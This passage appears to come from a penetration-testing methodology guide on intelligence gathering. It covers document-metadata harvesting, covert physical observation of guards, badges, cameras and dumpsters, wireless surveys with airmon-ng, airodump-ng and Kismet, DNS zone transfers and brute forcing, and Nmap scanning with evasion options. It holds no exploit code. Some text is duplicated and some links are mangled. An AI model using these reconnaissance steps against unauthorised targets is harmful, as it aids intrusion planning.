The specific queries scanned as well as the results of the queries are shown. To access the results of a query, simply double-click on the link provided to open in a browser.

Metagoofil (Linux/Windows)

Metagoofil is a Linux based information gathering tool designed for extracting metadata of public documents (.pdf, .doc, .xls, .ppt, .odp, .ods) available on the client's websites.

Metagoofil generates an html results page with the results of the metadata extracted, plus a list of potential usernames that could prove useful for brute force attacks. It also extracts paths and MAC address information from the metadata.

Metagoofil has a few options available, but most are related to what specifically you want to target as well the number of results desired.

Screenshot Here

The command to run *metagoofil* is as follows:

```
metagoofil.py -d <client domain> -l 100 -f all -o <client domain>.html -t micro-files
```

Exif Reader (Windows)

Exif Reader is image file analysis software for Windows. It analyzes and displays the shutter speed, flash condition, focal length, and other image information included in the Exif image format which is supported by almost all the latest digital cameras. Exif image files with an extension of JPG can be treated in the same manner as conventional JPEG files. This software analyzes JPEG files created by digital cameras and can be downloaded from http://www.takenet.or.jp/~ryuuji/minisoft/exifread/english (http://www.takenet.or.jp/~ryuuji/minisoft/exifread/english).

ExifTool (Windows/ OS X)

Exif Tool is a Windows and OS X tool for reading Meta information. ExifTool supports a wide range of file formats. ExifTool can be downloaded from http://www.sno.phy.queensu.ca/~phil/exiftool (http://www.sno.phy.queensu.ca/~phil/exiftool).

Image Search

While not directly related to metadata, Tineye is also useful: http://www.tineye.com/ If a profile is found that includes a picture, but not a real name, Tineye can sometimes be used to find other profiles on the Internet that may have more information about a person (including personals sites).

Covert gathering

On-location gathering

On-Site visits also allow assessment personnel to observe and gather information about the physical, environmental, and operational security of the target.

Adjacent Facilities

Once the physical locations have been identified, it is useful to identify the adjacent facilities. Adjacent facilities should be documented and if possible, include any observed shared facilities or services.

Physical security inspections

Covert Physical security inspections are used to ascertain the security posture of the target. These are conducted covertly, clandestinely and without any party knowing they are being inspected. Observation is the key component of this activity. Physical security measures that should be observed include physical security equipment, procedures, or devices used to protect from possible threats. A physical security inspection should include, but is not limited to the following:

Security guards

Observing security guards (or security officer) is often the first step in assessing the most visible deterrence. Security guards are uniformed and act to protect property by maintaining a high visibility presence to deter illegal and inappropriate actions. By observing security guard movements directly it is possible to determine procedures in use or establish movement patterns. You will need to observe what the security guards are protecting. It is possible to utilize binoculars to observe any movement from a safe distance.

Some security guards are trained and licensed to carry firearms for their own safety and for personnel they are entrusted to protect. The use of firearms by security guards should not be a surprise, if noted. This should be documented prior to beginning the engagement. If firearms are observed, ensure that precaution is taken not to take any further action unless specifically authorized and trained to do so.

Badge Usage

Badge usage refers to a physical security method that involves the use of identification badges as a form of access control. Badging systems may be tied to a physical access control system or simply used as a visual validation mechanism. Observing individual badge usage is important to document. By observing, badge usage it may be possible to actually duplicate the specific badge being utilized. The specific items that should be noted are if the badge is required to be visible or shown to gain physical access to the property or facility. Badge usage should be documented and if possible, include observed validation procedures.

Locking devices

A locking device is a mechanical or electronic mechanism often implemented to prevent unauthorized ingress or egress. These can be as simple as a door lock, dead-bolt, or complex as a cipher lock. Observing the type and placement location of the locking devices on doors it is possible to determine if the door in primarily used for ingress or egress. You will need to observe what the locking devices are protecting. All observations should be documented prior, and if possible photographs taken.

Intrusion detection systems (IDS)/Alarms

Observing security guards (or security officer) is often the first step in assessing the most visible deterrence. Security guards are uniformed and act to protect property by maintaining a high visibility presence to deter illegal and inappropriate actions. By observing security guard movements directly it is possible to determine procedures in use or establish movement patterns. You will need to observe what the security guards are protecting. It is possible to utilize binoculars to observe any movement from a safe distance.

Some security guards are trained and licensed to carry firearms for their own safety and for personnel they are entrusted to protect. The use of firearms by security guards should not be a surprise, if noted. This should be documented prior to beginning the engagement. If firearms are observed, ensure that precaution is taken not to take any further action unless specifically authorized and trained to do so.

Security lighting

Security lighting is often used as a preventative and corrective measure on a physical piece of property. Security lighting may aid in the detection of intruders, act as deterrence to intruders, or in some cases simply to increase the feeling of safety. Security lighting is often an integral component to the environmental design of a facility. Security lighting includes floodlights and low pressure sodium vapor lights. Most Security lighting that is intended to be left on all night is of the high-intensity discharge lamp variety. Other lights may be activated by sensors such as passive infrared sensors (PIRs), turning on only when a person (or other mammal) approaches. PIR activated lamps will usually be incandescent bulbs so that they can activate instantly; energy saving is less important since they will not be on all the time. PIR sensor activation can increase both the deterrent effect (since the intruder knows that he has been detected) and the detection effect (since a person will be attracted to the sudden increase in light). Some PIR units can be set up to sound a chime as well as turn on the light. Most modern units have a photocell so that they only turn on when it is dark.

While adequate lighting around a physical structure is deployed to reduce the risk of an intrusion, it is critical that the lighting be implemented properly as poorly arranged lighting can actually obstruct viewing the facility they're designed to protect.

Security lighting may be subject to vandalism, possibly to reduce its effectiveness for a subsequent intrusion attempt. Thus security lights should either be mounted very high, or else protected by wire mesh or tough polycarbonate shields. Other lamps may be completely recessed from view and access, with the light directed out through a light pipe, or reflected from a polished aluminum or stainless steel mirror. For similar reasons high security installations may provide a stand-by power supply for their security lighting. Observe and document the type, number, and locations of security lighting in use.

Surveillance /CCTV systems

Surveillance/CCTV systems may be used to observe activities in and around a facility from a centralized area. Surveillance/CCTV systems may operate continuously or only when activated as required to monitor a particular event. More advanced Surveillance/CCTV systems utilize motion-detection devices to activate the system. IP-based Surveillance/CCTV cameras may be implemented for a more decentralized operation.

Surveillance/CCTV cameras can be of a conspicuous nature, which are used as a visible deterrence, as well as an inconspicuous nature. Surveillance/CCTV cameras are generally small high definition color cameras that can not only focus to resolve minute detail, but by linking the control of the cameras to a computer, objects can be tracked semi-automatically. Observing and documenting the Surveillance/CCTV system is critical for identifying the areas of coverage. While it might not be possible to determine the specific camera type being utilized or even the area of coverage it is possible to identify areas with or without limited coverage. It should be noted if the Surveillance/CCTV system is physically protected. If not, then it needs to be documented if the Surveillance/CCTV camera is vulnerable to someone deliberately destroying it. Additionally, a physically unprotected camera may be subject to blurring or blocking the image by spraying substances or obstructing the lens. Lasers can be used to blind or damage Surveillance/CCTV cameras. For wireless Surveillance/CCTV systems, broadcasting a signal at the same frequency as the wireless equipment could make it subject to jamming.

Access control devices

Access control devices enable access control to areas and/or resources in a given facility. Access control refers to the practice of restricting entrance to a property, a building, or a room to authorized persons. Access control can be achieved by a human (a security guard, or receptionist), through mechanical means such as locks and keys, or through technological means such as access control systems like the Access control vestibule.

Access control devices historically were accomplished through keys and locks. Electronic access control use is widely being implemented to replace mechanical keys. Access control readers are generally classified as Basic, Semi-intelligent, and Intelligent. A basic access control reader simply reads a card number or PIN and forward it to a control panel. The most popular type of access control readers are RF Tiny by RFLOGICS, ProxPoint by HID, and P300 by Farpointe Data. Semi-intelligent readers have inputs and outputs necessary to control door hardware (lock, door contact, exit button), but do not make any access decisions. Common Semi-intelligent readers are InfoProx Lite IPL200 by CEM Systems and AP-510 by Apollo. Intelligent readers have all the inputs and outputs necessary to control door hardware while having the memory and the processing power necessary to make access decisions independently of each other. Common Intelligent readers are the InfoProx IPO200 by CEM Systems, AP-500 by Apollo, PowerNet IP Reader by Isonas Security Systems, ID08 by Solus has the built in web service to make it user friendly, Edge ER40 reader by HID Global, LogLock and UNiLOCK by ASPiSYS Ltd, and BioEntry Plus reader by Suprema Inc.

Some readers may have additional features such as an LCD and function buttons for data collection purposes (i.e. clock-in/clock-out events for attendance reports), camera/speaker/microphone for intercom, and smart card read/write support. Observe and document the type, number, and locations of access control devices in use.

Environmental Design

Environmental design involves the surrounding environmental of a building, or facility. In the scope of Physical

security, environmental design includes facilities geography, landscape, architecture, and exterior design.

Observing the facilities and surrounding areas can highlight potential areas of concern such as potential obscured areas due to geography and landscaping. Architecture and exterior design can impact the ability of security guards to protect property by creating areas of low or no-visibility. In addition, the placement of fences, storage containers, security guard shacks, barricades and maintenance areas could also prove useful in the ability move around a facility in a covert manner.

Employee Behavior

Observing employees is often the one of the easier steps to perform. Employee actions generally provide insight into any corporate behaviors or acceptable norms. By observing, employees it is possible to determine procedures in use or establish ingress and egress traffic patterns. It is possible to utilize binoculars to observe any movement from a safe distance.

Dumpster diving

Traditionally, most targets dispose of their trash in either garbage cans or dumpsters. These may or may not be separated based upon the recyclability of the material. The act of dumpster diving is the practice of sifting through commercial or residential trash to find items that have been discarded by their owners, but which may be useful. This is often times an extremely dirty process that can yield significant results. Dumpsters are usually located on private premises and therefore may subject the assessment team to potentially trespassing on property not owned by the target. Though the law is enforced with varying degrees of rigor, ensure that this is authorized as part of the engagement. Dumpster diving per se is often legal when not specifically prohibited by law. Rather than take the refuse from the area, it is commonly accepted to simply photograph the obtained material and then return it to the original dumpster.

RF / Wireless Frequency scanning

A band is a section of the spectrum of radio communication frequencies, in which channels are usually used or set aside for the same purpose. To prevent interference and allow for efficient use of the radio spectrum, similar services are allocated in bands of non-overlapping ranges of frequencies.

As a matter of convention, bands are divided at wavelengths of 10^n meters, or frequencies of $3?10^n$ hertz. For example, 30 MHz or 10 m divides shortwave (lower and longer) from VHF (shorter and higher). These are the parts of the radio spectrum, and not its frequency allocation.

Each of these bands has a basic band plan which dictates how it is to be used and shared, to avoid interference, and to set protocol for the compatibility of transmitters and receivers. Within the US, band plans are allocated and controlled by the Federal Communications Commission (FCC). The chart below illustrates the current band plans.

Screenshot Here

To avoid confusion, there are two bands that we could focus on our efforts on. The band plans that would in of interest to an attacker are indicated in the following chart.

Band name	Abbr	ITU band	Frequency and wavelength in air	Example uses
Very high frequency	VHF	8	30-300 MHz 10 m - 1 m	FM, television broadcasts and line-of-sight ground-to-aircraft and aircraft-to-aircraft communications. Land Mobile and Maritime Mobile communications, amateur radio, weather radio
Ultra high frequency	UHF	9	300-3000 MHz 1 m - 100 mm	Television broadcasts, microwave ovens, mobile phones, wireless LAN, Bluetooth, ZigBee, GPS and two-

				way radios such as Land Mobile, FRS and GMRS radios, amateur radio

A Radio Frequency (RF) site survey or wireless survey, sometimes called a wireless site survey, is the process of determining the frequencies in use within a given environment. When conducting a RF site survey, it's very important to identify an effective range boundary, which involves determining the SNR at various points around a facility.

To expedite the process, all frequencies in use should be determined prior to arrival. Particular attention should be paid to security guards, and frequencies that the target is licensed to use. Several resources exist to assist in acquiring this information:

Site	URL	Description
Radio Reference	http://www.radioreference.com/apps/db/ (http://www.radioreference.com/apps/db/)	Free part of the site containing a wealth of information
National Radio Data	http://www.nationalradiodata.com/ (http://www.nationalradiodata.com/)	FCC database search / $29 year
Percon Corp	http://www.perconcorp.com (http://www.perconcorp.com/)	FCC database search / Paid site - custom rates

Screenshot Here

At a minimum a search engine (Google, Bing, and Yahoo!) should be utilized to conduct the following searches:

- "Target Company" scanner
- "Target Company" frequency
- "Target Company" guard frequency
- "Target Company" MHz
- Press releases from radio manufactures and reseller regarding the target
- Press releases from guard outsourcing companies talking about contracts with the target company

Frequency Usage

A frequency counter is an electronic instrument that is used for measuring the number of oscillations or pulses per second in a repetitive electronic signal. Using a Frequency counter or spectrum analyzer it is possible to identify the transmitting frequencies in use around the target facility. Common frequencies include the following:

Band	Frequency Range
VHF	150 - 174 MHz
UHF	420 - 425 MHz
UHF	450 - 470 MHz
UHF	851 - 866 MHz
VHF	43.7- 50 MHz
UHF	902 - 928 MHz
UHF	2400 - 2483.5 MHz

A spectrum analyzer can be used to visually illustrate the frequencies in use. These are usually targeting specific ranges that are generally more focused than a frequency counter. Below is an output from a spectrum analyzer that can clearly illustrate the frequencies in use. The sweep range for this analyzer is 2399-2485 MHz.

Screenshot Here

All frequency ranges in use in and around the target should be documented.

Equipment Identification

As part of the on-site survey, all radios and antennas in use should be identified. Including radio make and model as well as the length and type of antennas utilized. A few good resources are available to help you identify radio equipment:

Site	URL	Description
HamRadio Outlet	http://www.hamradio.com (http://www.hamradio.com/)	A great source of information for amateur radios
BatLabs	http://www.batlabs.com (http://www.batlabs.com/)	A great source of information for Motorola two way systems

Identifying 802.11 equipment is usually much easier to accomplish, if not visually, then via RF emissions. For visual identification, most vendor websites can be searched to identify the specific make and model of the equipment in use.

Manufacturer	URL
3com	http://www.3com.com (http://www.3com.com/)
Apple	http://www.apple.com (http://www.apple.com/)
Aruba	http://www.arubanetworks.com (http://www.arubanetworks.com/)
Atheros	http://www.atheros.com/ (http://www.atheros.com/)
Belkin	http://www.belkin.com (http://www.belkin.com/)
Bluesocket	http://www.bluesocket.com/ (http://www.bluesocket.com/)
Buffalo Technology	http://www.buffalotech.com (http://www.buffalotech.com/)
Cisco	http://www.cisco.com (http://www.cisco.com/)
Colubris	http://www.colubris.com/ (http://www.colubris.com/)
D-Link	http://www.dlink.com (http://www.dlink.com/)
Engenius Tech	http://www.engeniustech.com (http://www.engeniustech.com/)
Enterasys	http://www.enterasys.com (http://www.enterasys.com/)
Hewlett Packard	http://www.hp.com (http://www.hp.com/)
Juniper	http://www.juniper.net (http://www.juniper.net/)
Marvell	http://www.marvell.com (http://www.marvell.com/)
Motorola	http://www.motorola.com (http://www.motorola.com/)
Netgear	http://www.netgear.com (http://www.netgear.com/)
Ruckus Wireless	http://www.ruckuswireless.com/ (http://www.ruckuswireless.com/)

SMC	http://www.smc.com (http://www.smc.com/)
Trapeze	http://www.trapezenetworks.com/ (http://www.trapezenetworks.com/)
TRENDnet	http://www.trendnet.com (http://www.trendnet.com/)
Versa Technology	http://www.versatek.com (http://www.versatek.com/)

In a passive manner, it is possible to identify at the manufacturer based upon data collected from RF emissions.

Wireless Local Area Network (WLAN) discovery consists of enumerating the type of WLAN that is currently deployed. This can be one of the following: Unencrypted WLAN, WEP encrypted WLAN, WPA / WPA2 encrypted WLAN, LEAP encrypted WLAN, or 802.1x WLAN. The tools required to enumerate this information are highlighted as follows.

Airmon-ng

Airmon-ng is used to enable monitor mode on wireless interfaces. It may also be used to go back from monitor mode to managed mode. It is important to determine if our USB devices are properly detected. For this we can use lsusb, to list the currently detected USB devices.

Screenshot Here

As the figure illustrates, our distribution has detected not only the Prolific PL2303 Serial Port, where we have our USB GPS connected, but also the Realtek RTL8187 Wireless Adapter. Now that we have determined that our distribution recognizes the installed devices, we need to determine if the wireless adapter is already in monitor mode by running.

Entering the airmon-ng command without parameters will show the interfaces status.

Screenshot Here

To use one interface simply use airmon-ng to put your card in monitor mode by running:

```
airmon-ng start wlan0
```

Screenshot Here

If there's an existing mon0, destroy it prior to issuing the previous command:

```
airmon-ng stop mon0
```

Once again, entering the airmon-ng command without parameters will show the interfaces status.

Screenshot Here

Airodump-ng

Airodump-ng is part of the Aircrack-ng is a network software suite. Specifically, Airodump-ng is a packet sniffer that places air traffic into Packet Capture (PCAP) files or Initialization Vectors (IVS) files and shows information about wireless networks.

Airodump-ng is used for packet capture of raw 802.11 frames and is particularly suitable for collecting WEP IVs (Initialization Vectors) for later use with Aircrack-ng. If you have a GPS receiver connected to the computer, Airodump-ng is capable of logging the coordinates of the found APs. Before running Airodump-ng, start the Airmon-ng script to list the detected wireless interfaces.

Usage:

```
airodump-ng <options> <interface> [, <interface>...]

Options:

--ivs               : Save only captured IVs

--gpsd              : Use GPSd

--write    <prefix>: Dump file prefix

-w                  : same as --write

--beacons           : Record all beacons in dump file

--update     <secs>: Display update delay in seconds

--showack           : Prints ack/cts/rts statistics

-h                  : Hides known stations for --showack

-f          <msecs>: Time in ms between hopping channels

--berlin     <secs>: Time before removing the AP/client

from the screen when no more packets

are received (Default: 120 seconds)

-r           <file>: Read packets from that file

-x          <msecs>: Active Scanning Simulation

--output-format

<formats>: Output format.  Possible values:

pcap, ivs, csv, gps, kismet, netxml

Short format "-o"

The option can be specified multiple   times.  In this case, each file format specified will be output.  Only ivs
or pcap can be used, not both.
```

Airodump-ng will display a list of detected APs and a list of connected clients ("stations").

Screenshot Here

Screenshot Here

The first line shows the current channel, elapsed running time, current date and optionally if a WPA/WPA2 handshake was detected.

Kismet-Newcore

Kismet-newcore is a network detector, packet sniffer, and intrusion detection system for 802.11 wireless LANs. Kismet will work with any wireless card which supports raw monitoring mode, and can sniff 802.11a, 802.11b, 802.11g, and 802.11n traffic.

Kismet identifies networks by passively collecting packets and detecting standard named networks, detecting (and given time, decloaking) hidden networks, and inferring the presence of nonbeaconing networks via data traffic.

Kismet is composed of 3 parts:

- **Drones:** Capture the wireless traffic to report it to the server; they have to be started manually.
- **Server:** Central place that connects to the drones and accepts client connections. It can also capture wireless traffic.
- **Client:** The GUI part that will connect to the server.

Kismet has to be configured to work properly. First, we need to determine if it is already in monitor mode by running:

```
airmon-ng
```

Screenshot Here

To use one interface simply use airmon-ng to put your card in monitor mode by running:

```
airmon-ng start wlan0
```

Screenshot Here

If there's an existing mon0, destroy it prior to issuing the previous command:

```
airmon-ng stop mon0
```

Kismet is able to use more than one interface like Airodump-ng. To use that feature, /etc/kismet/kismet.conf has to be edited manually as airmon-ng cannot configure more than one interface for kismet. For each adapter, add a source line into kismet.conf.

Note: By default kismet stores its capture files in the directory where it is started. These captures can be used with Aircrack-ng.

Typing, "kismet" in a console and hitting "Enter" will start up Kismet.

Screenshot Here

As described earlier Kismet consists of three components and the initial screen informs us that we need to either start the Kismet server or choose to use a server that has been started elsewhere. For our purposes. we will click "Yes" to start the Kismet server locally.

Screenshot Here

Kismet presents us with the options to choose as part of the server startup process.

Screenshot Here

Unless we configured a source in /etc/kismet/kismet.conf then we will need to specify a source from where we want to capture packets.

Screenshot Here

As referenced earlier, we created a monitor sub-interface from our wireless interface. For our purposes, we will enter "mon0", though your interface may have a completely different name.

Screenshot Here

When Kismet server and client are running properly then wireless networks should start to show up. We have highlighted a WEP enabled network. There are numerous sorting options that you can choose from. We will not cover all the functionality of Kismet at this point, but if you're not familiar with the interface you should play with it until you get comfortable.

inSSIDer

If you are used to using Netstumbler you may be disappointed to hear that it doesn't function properly with Windows Vista and 7 (64-bit). That being said, all is not lost as there is an alternative that is compatible with Windows XP, Vista and 7 (32 and 64-bit). It makes use of the native Wi-Fi API and is compatible with most GPS devices (NMEA

v2.3 and higher). InSSIDer has some features that make it the tool of choice if you're using Windows. InSSIDer can track the strength of received signal in dBi over time, filter access points, and also export Wi-Fi and GPS data to a KML file to view in Google Earth.

Screenshot Here

External Footprinting

The External Footprinting phase of Intelligence Gathering involves collecting response results from a target based upon direct interaction from an external perspective. The goal is to gather as much information about the target as possible.

Identifying IP Ranges

For external footprinting, we first need to determine which one of the WHOIS servers contains the information we're after. Given that we should know the TLD for the target domain, we simply have to locate the Registrar that the target domain is registered with.

WHOIS information is based upon a tree hierarchy. ICANN (IANA) is the authoritative registry for all of the TLDs and is a great starting point for all manual WHOIS queries.

WHOIS lookup

- ICANN - http://www.icann.org
- IANA - http://www.iana.com
- NRO - http://www.nro.net
- AFRINIC - http://www.afrinic.net
- APNIC - http://www.apnic.net
- ARIN - http://ws.arin.net
- LACNIC - http://www.lacnic.net
- RIPE - http://www.ripe.net

Once the appropriate Registrar was queried we can obtain the Registrant information. There are numerous sites that offer WHOIS information; however for accuracy in documentation, you need to use only the appropriate Registrar.

- InterNIC - http://www.internic.net/ http://www.internic.net]

BGP looking glasses

It is possible to identify the Autonomous System Number (ASN) for networks that participate in Border Gateway Protocol (BGP). Since BGP route paths are advertised throughout the world we can find these by using a BGP4 and BGP6 looking glass.

- BGP4 - http (http://www.google.com/url?q=http%3A%2F%2Fwww.bgp4.as%2Flooking-glasses&sa=D&sntz=1&usg=AFQjCNGJNLNRaL6xeGcya4mZ9NPyOFd8Tg):// (http://www.google.com/url?q=http%3A%2F%2Fwww.bgp4.as%2Flooking-glasses&sa=D&sntz=1&usg=AFQjCNGJNLNRaL6xeGcya4mZ9NPyOFd8Tg)www (http://www.google.com/url?q=http%3A%2F%2Fwww.bgp4.as%2Flooking-glasses&sa=D&sntz=1&usg=AFQjCNGJNLNRaL6xeGcya4mZ9NPyOFd8Tg). (http://www.google.com/url?q=http%3A%2F%2Fwww.bgp4.as%2Flooking-glasses&sa=D&sntz=1&usg=AFQjCNGJNLNRaL6xeGcya4mZ9NPyOFd8Tg)bgp (http://www.google.com/url?q=http%3A%2F%2Fwww.bgp4.as%2Flooking-glasses&sa=D&sntz=1&usg=AFQjCNGJNLNRaL6xeGcya4mZ9NPyOFd8Tg)4. (http://www.google.c

om/url?q=http%3A%2F%2Fwww.bgp4.as%2Flooking-glasses&sa=D&sntz=1&usg=AFQjCNGJNLNRaL6xeGcya4mZ9NPyOFd8Tg)as (http://www.google.com/url?q=http%3A%2F%2Fwww.bgp4.as%2Flooking-glasses&sa=D&sntz=1&usg=AFQjCNGJNLNRaL6xeGcya4mZ9NPyOFd8Tg)/ (http://www.google.com/url?q=http%3A%2F%2Fwww.bgp4.as%2Flooking-glasses&sa=D&sntz=1&usg=AFQjCNGJNLNRaL6xeGcya4mZ9NPyOFd8Tg)looking (http://www.google.com/url?q=http%3A%2F%2Fwww.bgp4.as%2Flooking-glasses&sa=D&sntz=1&usg=AFQjCNGJNLNRaL6xeGcya4mZ9NPyOFd8Tg)- (http://www.google.com/url?q=http%3A%2F%2Fwww.bgp4.as%2Flooking-glasses&sa=D&sntz=1&usg=AFQjCNGJNLNRaL6xeGcya4mZ9NPyOFd8Tg)glasses (http://www.google.com/url?q=http%3A%2F%2Fwww.bgp4.as%2Flooking-glasses&sa=D&sntz=1&usg=AFQjCNGJNLNRaL6xeGcya4mZ9NPyOFd8Tg)

- BPG6 - http://lg.he.net/ (http://lg.he.net/)

Active Reconnaissance

- Manual browsing
- Google Hacking - http://www.exploit-db.com/google-dorks (http://www.exploit-db.com/google-dorks)

Passive Reconnaissance

- Google Hacking - http://www.exploit-db.com/google-dorks (http://www.exploit-db.com/google-dorks)

Active Footprinting

The active footprinting phase of Intelligence Gathering involves gathering response results from a target based upon direct interaction.

Zone Transfers

DNS zone transfer, also known as AXFR, is a type of DNS transaction. It is a mechanism designed to replicate the databases containing the DNS data across a set of DNS servers. Zone transfer comes in two flavors, full (AXFR) and incremental (IXFR). There are numerous tools available to test the ability to perform a DNS zone transfer. Tools commonly used to perform zone transfers are host, dig, and nmap.

Host

```
host <domain> <DNS server>
```

Dig

```
dig @server domain axfr
```

Reverse DNS

Reverse DNS can be used to obtain valid server names in use within an organizational. There is a caveat that it must have a PTR (reverse) DNS record for it to resolve a name from a provided IP address. If it does resolve then the results are returned. This is usually performed by testing the server with various IP addresses to see if it returns any results.

DNS Bruting

After identifying all the information that is associated with the client domain(s), it is now time to begin to query DNS. Since DNS is used to map IP addresses to hostnames, and vice versa we will want to see if it is insecurely configure. We will seek to use DNS to reveal additional information about the client. One of the most serious misconfigurations involving DNS is allowing Internet users to perform a DNS zone transfer. There are several tools that we can use to enumerate DNS to not only check for the ability to perform zone transfers, but to potentially discover additional host names that are not commonly known.

Fierce2 (Linux)

For DNS enumeration, there are two tools that are utilized to provide the desired results. The first that we will focus on is named Fierce2. As you can probably guess, this is a modification on Fierce. Fierce2 has lots of options, but the one that we want to focus on attempts to perform a zone transfer. If that is not possible, then it performs DNS queries using various server names in an effort to enumerate the host names that have been registered.

The command to run *fierce2* is as follows:

```
fierce -dns <client domain> -prefix <wordlist>
```

Screenshot Here

There is a common prefix (called common-tla.txt) wordlist that has been composed to utilize as a list when enumerating any DNS entries. This can be found at the following URL:

https://address-unknown/

DNSEnum (Linux)

An alternative to Fierce2 for DNS enumeration is DNSEnum. As you can probably guess, this is very similar to Fierce2. DNSEnum offers the ability to enumerate DNS through brute forcing subdomains, performing reverse lookups, listing domain network ranges, and performing whois queries. It also performs Google scraping for additional names to query.

Screenshot Here

The command to run *dnsenum* is as follows:

```
dnsenum -enum -f <wordlist> <client domain>
```

Screenshot Here

Again, there is a common prefix wordlist that has been composed to utilize as a list when enumerating any DNS entries. This can be found at the following URL:

https://address-unknown/

Dnsdict6 (Linux)

Dnsdict6, which is part of the THC IPv6 Attack Toolkit, is an IPv6 DNS dictionary brute forcer. The options are relatively simple, but simply specify the domain and a dictionary-file.

Screenshot Here

Port Scanning

Nmap (Windows/Linux)

Nmap ("Network Mapper") is the de facto standard for network auditing/scanning. Nmap runs on both Linux and Windows. Nmap is available in both command line and GUI versions. For the sake of this document, we will only cover the command line.

```
Nmap 5.51 ( http://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
  Can pass hostnames, IP addresses, networks, etc.
  Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
  -iL <inputfilename>: Input from list of hosts/networks
  -iR <num hosts>: Choose random targets
  --exclude <host1[,host2][,host3],...>: Exclude hosts/networks
  --excludefile <exclude_file>: Exclude list from file
HOST DISCOVERY:
  -sL: List Scan - simply list targets to scan
  -sn: Ping Scan - disable port scan
  -Pn: Treat all hosts as online -- skip host discovery
  -PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
  -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
  -PO[protocol list]: IP Protocol Ping
  -n/-R: Never do DNS resolution/Always resolve [default: sometimes]
  --dns-servers <serv1[,serv2],...>: Specify custom DNS servers
  --system-dns: Use OS's DNS resolver
  --traceroute: Trace hop path to each host
SCAN TECHNIQUES:
  -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
  -sU: UDP Scan
  -sN/sF/sX: TCP Null, FIN, and Xmas scans
  --scanflags <flags>: Customize TCP scan flags
  -sI <zombie host[:probeport]>: Idle scan
  -sY/sZ: SCTP INIT/COOKIE-ECHO scans
  -sO: IP protocol scan
  -b <FTP relay host>: FTP bounce scan
PORT SPECIFICATION AND SCAN ORDER:
  -p <port ranges>: Only scan specified ports
    Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
  -F: Fast mode - Scan fewer ports than the default scan
  -r: Scan ports consecutively - don't randomize
  --top-ports <number>: Scan <number> most common ports
  --port-ratio <ratio>: Scan ports more common than <ratio>
SERVICE/VERSION DETECTION:
  -sV: Probe open ports to determine service/version info
  --version-intensity <level>: Set from 0 (light) to 9 (try all probes)
  --version-light: Limit to most likely probes (intensity 2)
  --version-all: Try every single probe (intensity 9)
  --version-trace: Show detailed version scan activity (for debugging)
SCRIPT SCAN:
  -sC: equivalent to --script=default
  --script=<Lua scripts>: <Lua scripts> is a comma separated list of
           directories, script-files or script-categories
  --script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts
  --script-trace: Show all data sent and received
  --script-updatedb: Update the script database.
OS DETECTION:
  -O: Enable OS detection
  --osscan-limit: Limit OS detection to promising targets
  --osscan-guess: Guess OS more aggressively
TIMING AND PERFORMANCE:
  Options which take <time> are in seconds, or append 'ms' (milliseconds),
  's' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).
  -T<0-5>: Set timing template (higher is faster)
  --min-hostgroup/max-hostgroup <size>: Parallel host scan group sizes
  --min-parallelism/max-parallelism <numprobes>: Probe parallelization
  --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>: Specifies
      probe round trip time.
  --max-retries <tries>: Caps number of port scan probe retransmissions.
  --host-timeout <time>: Give up on target after this long
  --scan-delay/--max-scan-delay <time>: Adjust delay between probes
  --min-rate <number>: Send packets no slower than <number> per second
  --max-rate <number>: Send packets no faster than <number> per second
FIREWALL/IDS EVASION AND SPOOFING:
  -f; --mtu <val>: fragment packets (optionally w/given MTU)
  -D <decoy1,decoy2[,ME],...>: Cloak a scan with decoys
  -S <IP_Address>: Spoof source address
  -e <iface>: Use specified interface
  -g/--source-port <portnum>: Use given port number
  --data-length <num>: Append random data to sent packets
  --ip-options <options>: Send packets with specified ip options
  --ttl <val>: Set IP time-to-live field
  --spoof-mac <mac address/prefix/vendor name>: Spoof your MAC address
  --badsum: Send packets with a bogus TCP/UDP/SCTP checksum
OUTPUT:
```

```
   -oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3,
      and Grepable format, respectively, to the given filename.
   -oA <basename>: Output in the three major formats at once
   -v: Increase verbosity level (use -vv or more for greater effect)
   -d: Increase debugging level (use -dd or more for greater effect)
   --reason: Display the reason a port is in a particular state
   --open: Only show open (or possibly open) ports
   --packet-trace: Show all packets sent and received
   --iflist: Print host interfaces and routes (for debugging)
   --log-errors: Log errors/warnings to the normal-format output file
   --append-output: Append to rather than clobber specified output files
   --resume <filename>: Resume an aborted scan
   --stylesheet <path/URL>: XSL stylesheet to transform XML output to HTML
   --webxml: Reference stylesheet from Nmap.Org for more portable XML
   --no-stylesheet: Prevent associating of XSL stylesheet w/XML output
 MISC:
   -6: Enable IPv6 scanning
   -A: Enable OS detection, version detection, script scanning, and traceroute
   --datadir <dirname>: Specify custom Nmap data file location
   --send-eth/--send-ip: Send using raw ethernet frames or IP packets
   --privileged: Assume that the user is fully privileged
   --unprivileged: Assume the user lacks raw socket privileges
   -V: Print version number
   -h: Print this help summary page.
 EXAMPLES:
   nmap -v -A scanme.nmap.org
   nmap -v -sn 192.168.0.0/16 10.0.0.0/8
   nmap -v -iR 10000 -Pn -p 80
 SEE THE MAN PAGE (http://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPLES
```

Nmap has dozens of options available. Since this section is dealing with port scanning, we will focus on the commands required to perform this task. It is important to note that the commands utilized depend mainly on the time and number of hosts being scanned. The more hosts or less time that you have to perform this tasks, the less that we will interrogate the host. This will become evident as we continue to discuss the options.

Based on the IP set being assessed you would want to scan both the TCP and UDP ports across the range 1 to 65535. The command that will be utilized is as follows:

```
nmap -A -PN -sU -sS -T2 -v -p 1-65535 <client ip range>/<CIDR> or <Mask> -oA NMap_FULL_<client ip range>
```

```
nmap -A -PN -sU -sS -T2 -v -p 1-65535 client.com -oA NMap_FULL_client

Starting Nmap 5.51 ( http://nmap.org ) at 2011-04-22 22:27 Eastern Daylight Time

NSE: Loaded 57 scripts for scanning.
Initiating Parallel DNS resolution of 1 host. at 22:27
Completed Parallel DNS resolution of 1 host. at 22:27, 0.10s elapsed
Initiating SYN Stealth Scan at 22:27
Scanning client.com (74.117.116.73) [65535 ports]
